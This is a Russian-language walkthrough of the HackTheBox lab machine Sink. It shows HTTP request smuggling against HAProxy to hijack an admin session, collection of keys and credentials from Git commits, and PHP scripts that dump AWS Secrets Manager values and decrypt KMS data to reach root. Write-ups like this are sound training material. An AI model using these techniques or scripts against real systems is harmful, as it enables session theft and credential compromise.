Хакер - HTB Sink. Учимся прятать запросы HTTP и разбираемся с AWS Secrets Manager
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- HTTP Request Smuggling
- Точка опоры
- Продвижение
- AWS Secrets Manager
- Локальное повышение привилегий
В этой статье мы пройдем машину Sink с площадки HackTheBox. Для этого нам понадобится проэксплуатировать уязвимость HTTP Request Smuggling, а получив точку опоры, будем разбираться с технологией AWS Secrets Manager. Скучать точно не придется!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Адрес машины — 10.10.10.225, добавляем его в /etc/hosts как sink.htb.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

В результате сканирования находим три открытых порта: 22 (служба SSH), 3000 (Gitea) и 5000 (Gunicorn). Начнем с Git.

Мы видим какие‑то имена пользователей (запишем их, могут пригодиться!), но больше ничего интересного нет. Поэтому переходим к Gunicorn. На сайте, который он отдает, нужно регистрироваться. Сделаем это, авторизуемся и посмотрим, что нам станет доступно.
Осмотр сайтов я рекомендую проводить через Burp, чтобы можно было просмотреть все отправляемые и получаемые данные. Так после отправки комментария в ответе замечаем заголовок Via. Это заголовок для прокси, в котором указано haproxy.


HAProxy — это серверное приложение, которое обеспечивает высокую доступность сайта и балансирует нагрузку TCP и HTTP-приложений между несколькими серверами.
Дальше я попытался посканировать директории. У меня ничего не вышло, зато сообщение об ошибке помогло выяснить используемую версию HAProxy — 1.9.10.

Погуглив, узнаем, что эта версия уязвима к атаке HTTP Request Smuggling.
ТОЧКА ВХОДА
HTTP Request Smuggling
HTTP Request Smuggling — это метод вмешательства в процесс обработки сайтом HTTP-запросов, полученных от одного или нескольких пользователей. Уязвимость часто имеет критический характер и позволяет злоумышленнику обойти меры безопасности, получить несанкционированный доступ к конфиденциальным данным и напрямую поставить под угрозу других пользователей приложения. Уязвимость возникает из‑за того, что спецификация HTTP предоставляет два разных способа указать, где заканчивается запрос: заголовок Content-Length и заголовок Transfer-Encoding.
Заголовок Content-Length прост: он определяет длину тела сообщения в байтах. Например:
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
p=test
Заголовок Transfer-Encoding может применяться для указания того, что используется тело сообщения с фрагментированным кодированием. Это значит, что тело сообщения содержит один или несколько блоков данных. Блоки устроены так. Сначала идет размер блока в байтах (в hex), затем знак новой строки, а дальше — содержимое блока. Сообщение заканчивается блоком нулевого размера. Например:
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
a
param=test
0
Так мы можем использовать одновременно два заголовка. Первый сервер будет разделять запросы по первому заголовку, а второй — по второму, тем самым встраивая свои запросы и пропуская их дальше.
Приступим к реализации. Отправим комментарий и перехватим запрос в Burp Proxy.

Его стоит преобразовать следующим образом: укажем заголовок Transfer-Encodeing:[\x0b]chunked и поменяем значение Connection на keep-alive. После чего дублируем заголовки запроса в тело запроса.

После редиректа видим явно не тот комментарий, который отправляли.


Дело в том, что внутренний сервер неправильно интерпретировал размер переданных данных из‑за путаницы в определяющих его HTTP заголовках, поэтому отобразил больше информации, чем должен был. Блок дополнительной информации, отображенной в комментарии, был взят из следующего запроса другого пользователя. В этом запросе передавались cookie другого пользователя, которые мы сразу подставляем себе и перезагружаем страницу. Как можно заметить, в данный момент мы имеем сессию администратора сайта.

Так как это сервис хранения заметок, сразу просмотрим, что может хранить админ. Находим три заметки.

Каждая из них содержит учетные данные.

ТОЧКА ОПОРЫ
С найденными учетными данными получается авторизоваться в Git от имени root. Находим очень много коммитов, которые стоит просмотреть. Оттуда мы можем получить еще какие‑нибудь учетные данные, секреты, токены или просто узнать используемые технологии.

Я начал просмотр с конца. Важные данные нашлись в коммите вот по этой ссылке:
http://sink.htb:3000/root/Log_Management/commit/e8d68917f2570f3695030d0ded25dc95738fb1baa

А в этом коммите нашелся приватный ключ:
http://sink.htb:3000/root/Key_Management/commit/b01a6b7ed372d154ed0bc43a342a5e1203d07b1e

Необходимо проверить этот ключ. Для этого сформируем список пользователей и попытаемся подключиться по SSH. Для автоматизации я использовал Metasploit Framework.
msfconsole
use auxiliary/scanner/ssh/ssh_login_pub
set RHOSTS sink.htb
set USER_FILE users.txt
set KEY_PATH root.key
run


В итоге находим пользователя, к учетке которого подходит ключ. Так мы получаем стабильную точку опоры в виде доступа по SSH.

ПРОДВИЖЕНИЕ
AWS Secrets Manager
В репозитории мы нашли секрет и ключ для AWS. Проверим, работает ли этот сервис на хосте, а именно — открыт ли порт 4566.

Порт открыт, AWS работает. Теперь можно с полной уверенностью сказать, что мы нашли дальнейший вектор атаки. AWS Secrets Manager позволяет защищать конфиденциальные данные, используемые для доступа к приложениям, сервисам и другим ресурсам. Сервис предназначен для упрощения ротации и извлечения данных для доступа к БД, ключей API и других конфиденциальных данных, а также управления ими. Чтобы продвинуться дальше, нам нужно захватить учетку другого пользователя, и это отличное место для поисков.
Секрет и ключ дает нам возможность получить критические данные. Для этого мы используем SecretsManagerClient из репозитория и код из документации. Но сперва туннелируем порт:
sudo ssh -L 4566:127.0.0.1:4566 -i root.key marcus@10.10.10.225
Таким образом весь трафик, который мы пошлем на локальный порт 4566, будет туннелирован на порт 4566 удаленного хоста. А теперь, используя код из документации с подставленными данными SecretsManagerClient, получим список сохраненных секретов.
<?php
require 'vendor/autoload.php';
use Aws\SecretsManager\SecretsManagerClient;
use Aws\Exception\AwsException;
$client = new SecretsManagerClient([
'region' => 'eu',
'endpoint' => 'http://127.0.0.1:4566',
'credentials' => [
'key' => 'AKIAIUEN3QWCPSTEITJQ',
'secret' => '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'
],
'version' => 'latest'
]);
try {
$result = $client->listSecrets([
]);
var_dump($result);
} catch (AwsException $e) {
// output error message if fails
echo $e->getMessage();
echo "\n";
}
?>

Так как мы имеем секреты, мы можем получить хранящиеся значения. Также используем документацию, найденные секреты и данные из репозитория.
<?php
require 'vendor/autoload.php';
use Aws\SecretsManager\SecretsManagerClient;
use Aws\Exception\AwsException;
$client = new SecretsManagerClient([
'region' => 'eu',
'endpoint' => 'http://127.0.0.1:4566',
'credentials' => [
'key' => 'AKIAIUEN3QWCPSTEITJQ',
'secret' => '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'
],
'version' => 'latest'
]);
$secretName = ["arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-ElTxf","arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-qZfJI","arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-GoJSC"];
for($i=0; $i<3; $i+=1){
try {
$result = $client->getSecretValue([
'SecretId' => $secretName[$i],
]);
} catch (AwsException $e) {
$error = $e->getAwsErrorCode();
if ($error == 'DecryptionFailureException') {
throw $e;
}
if ($error == 'InternalServiceErrorException') {
throw $e;
}
if ($error == 'InvalidParameterException') {
throw $e;
}
if ($error == 'InvalidRequestException') {
throw $e;
}
if ($error == 'ResourceNotFoundException') {
throw $e;
}
}
if (isset($result['SecretString'])) {
$secret = $result['SecretString'];
} else {
$secret = base64_decode($result['SecretBinary']);
}
echo $secret . "\n";
}
?>

Так мы получаем учетные данные трех пользователей. Пользователь david присутствует в системе, и найденный пароль позволяет авторизоваться от его имени.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
В домашней директории находим какой‑то проект, а в нем — зашифрованный файл.

Так как файл зашифрован, а мы уже имели дело с AWS, давай попробуем и расшифровать его с помощью AWS. Сначала нужно получить список ключей, шаблон кода снова берем из документации.
<?php
require 'vendor/autoload.php';
use Aws\Kms\KmsClient;
use Aws\Exception\AwsException;
$KmsClient = new Aws\Kms\KmsClient([
'version' => 'latest',
'region' => 'eu',
'credentials' => [
'key' => 'AKIAIUEN3QWCPSTEITJQ',
'secret' => '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'
],
'endpoint' => 'http://127.0.0.1:4566'
]);
$limit = 10;
try {
$result = $KmsClient->listKeys([
'Limit' => $limit,
]);
var_dump($result);
} catch (AwsException $e) {
// output error message if fails
echo $e->getMessage();
echo "\n";
}
?>

Имея список ключей, давай попробуем расшифровать сообщение. Сначала закодируем в Base64 для удобства работы.

И снова формируем код для дешифровки из шаблона.
<?php
require 'vendor/autoload.php';
use Aws\Kms\KmsClient;
use Aws\Exception\AwsException;
$KmsClient = new Aws\Kms\KmsClient([
'version' => 'latest',
'region' => 'eu',
'credentials' => [
'key' => 'AKIAIUEN3QWCPSTEITJQ',
'secret' => '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'
],
'endpoint' => 'http://127.0.0.1:4566'
]);
$keys = [
"0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
"16754494-4333-4f77-ad4c-d0b73d799939",
"2378914f-ea22-47af-8b0c-8252ef09cd5f",
"2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
"53bb45ef-bf96-47b2-a423-74d9b89a297a",
"804125db-bdf1-465a-a058-07fc87c0fad0",
"837a2f6e-e64c-45bc-a7aa-efa56a550401",
"881df7e3-fb6f-4c7b-9195-7f210e79e525",
"c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
"f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
];
$CT = "mXMs+8ZLEp9krGLLJT2YHLgHQP/uRJYSfX+YTqar7wabvOQ8PSuPwUFAmEJh86q3kaURmnRxr/smZvkU6Pp0KPV7ye2sP10hvPJDF2mkNcIEVif3RaMU08jZi7U/ghZyoXseM6EEcu9c1gYpDqZ74CMEh7AoasksLswCJJZYI0TfcvTlXx84XBfCWsK7cTyDb4SughAq9MY89Q6lt7gnw6IwG/tSHi9a1MY8eblCwCMNwRrFQ44x8p3hS2FLxZe2iKUrpiyUDmdThpFJPcM3uxiXU+cuyZJgxzQ2Wl0Gqaj0RpVD2w2wJGrQBnCnouahOD1SXT3DwrUMWXyeNMc52lWo3aB+mq/uhLxcTeGSImHJcfUYYQqXoIrOHcS7O1WFoaMvMtIAl+uRslGVSEwiU6sVe9nMCuyvrsbsQ0N46jjro5h1nFmTmZ0C1Xr97Go/pHmJxgG1lxnOepsglLrPMXc5F6lFH1aKxlzFVAxGKWNAzTlzGC+HnBXjugLpP8Shpb24HPdnt/fF/dda8qyaMcYZCOmLODums2+ROtrPJ4CTuaiSbOWJuheQ6U/v5AbeQSF93RF28iyiA905SCNRi3ejGDH65OWv6aw1VnTf8TaREPH5ZNLazTW5Jo8kvLqJaEtZISRNUEmsJHr79U1VjpovPzePTKeDTR0qosW/GJ8=";
for ($i=0; $i<count($keys); $i++) {
try {
$result = $KmsClient->enableKey([
'KeyId' => $keys[$i],
]);
$result = $KmsClient->decrypt([
'CiphertextBlob' => base64_decode($CT),
'KeyId' => $keys[$i],
'EncryptionAlgorithm' => 'RSAES_OAEP_SHA_256',
]);
echo base64_encode($result["Plaintext"]);
} catch (AwsException $e) {
// output error message if fails
echo $e->getMessage();
echo "\n";
}
}
?>

Среди кучи ошибок видим закодированные данные. Это наш расшифрованный файл. Декодируем строку и записываем файл. Также нам нужно узнать, что это за файл.
echo [base64 строка] | base64 -d > servers
file servers

Это архив gzip. Читать файлы из него можно утилитой zcat.

Видим пару из логина и пароля. Пробуем пароль к root...

И получаем полный контроль над машиной.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei